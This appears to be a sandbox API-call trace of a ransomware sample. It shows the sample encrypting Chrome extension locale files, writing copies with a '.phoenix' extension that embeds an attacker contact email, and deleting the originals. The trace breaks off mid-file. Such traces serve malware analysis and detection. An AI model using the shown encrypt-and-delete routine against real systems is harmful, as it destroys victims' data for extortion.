	[0263.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json")) returned 0x20
	[0263.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.504] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.504] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.504] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.504] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.504] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0263.504] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.504] ReadFile (in: hFile=0x2c4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x100, lpOverlapped=0x0) returned 1
	[0263.505] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0263.505] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0263.506] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0263.506] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.506] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.506] CryptDestroyKey (hKey=0x151140) returned 1
	[0263.506] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.531] CryptDestroyKey (hKey=0x151380) returned 1
	[0263.531] CloseHandle (hObject=0x2c4) returned 1
	[0263.531] CloseHandle (hObject=0x2b0) returned 1
	[0263.531] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json")) returned 1
	[0263.532] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.532] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.534] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=222) returned 1
	[0263.534] CloseHandle (hObject=0x2b0) returned 1
	[0263.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json")) returned 0x20
	[0263.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.534] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.534] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.534] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.534] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.535] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0263.535] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.535] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xde, lpOverlapped=0x0) returned 1
	[0263.536] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0263.536] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0263.537] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0263.537] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.537] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.537] CryptDestroyKey (hKey=0x151040) returned 1
	[0263.537] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.537] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.537] CloseHandle (hObject=0x2b0) returned 1
	[0263.537] CloseHandle (hObject=0x2c4) returned 1
	[0263.537] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json")) returned 1
	[0263.538] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.538] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.540] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=223) returned 1
	[0263.541] CloseHandle (hObject=0x2c4) returned 1
	[0263.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json")) returned 0x20
	[0263.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.541] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.541] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.541] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.541] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.542] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0263.542] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.542] ReadFile (in: hFile=0x2c4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xdf, lpOverlapped=0x0) returned 1
	[0263.542] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0263.543] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0263.543] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0263.543] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.543] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.543] CryptDestroyKey (hKey=0x151140) returned 1
	[0263.543] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.544] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0263.544] CloseHandle (hObject=0x2c4) returned 1
	[0263.544] CloseHandle (hObject=0x2b0) returned 1
	[0263.544] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json")) returned 1
	[0263.545] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.545] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.545] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=265) returned 1
	[0263.545] CloseHandle (hObject=0x2b0) returned 1
	[0263.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json")) returned 0x20
	[0263.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.545] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.545] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.546] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.546] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.546] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151700) returned 1
	[0263.546] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.546] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x109, lpOverlapped=0x0) returned 1
	[0263.547] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0263.547] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0263.548] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0263.548] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.548] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.548] CryptDestroyKey (hKey=0x151600) returned 1
	[0263.548] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.549] CryptDestroyKey (hKey=0x151700) returned 1
	[0263.549] CloseHandle (hObject=0x2b0) returned 1
	[0263.549] CloseHandle (hObject=0x2c4) returned 1
	[0263.550] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json")) returned 1
	[0263.550] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.550] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.551] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=286) returned 1
	[0263.551] CloseHandle (hObject=0x2c4) returned 1
	[0263.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json")) returned 0x20
	[0263.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.551] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.551] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.552] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.552] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.552] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0263.552] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.552] ReadFile (in: hFile=0x2c4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x11e, lpOverlapped=0x0) returned 1
	[0263.553] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x120, dwBufLen=0x120 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x120) returned 1
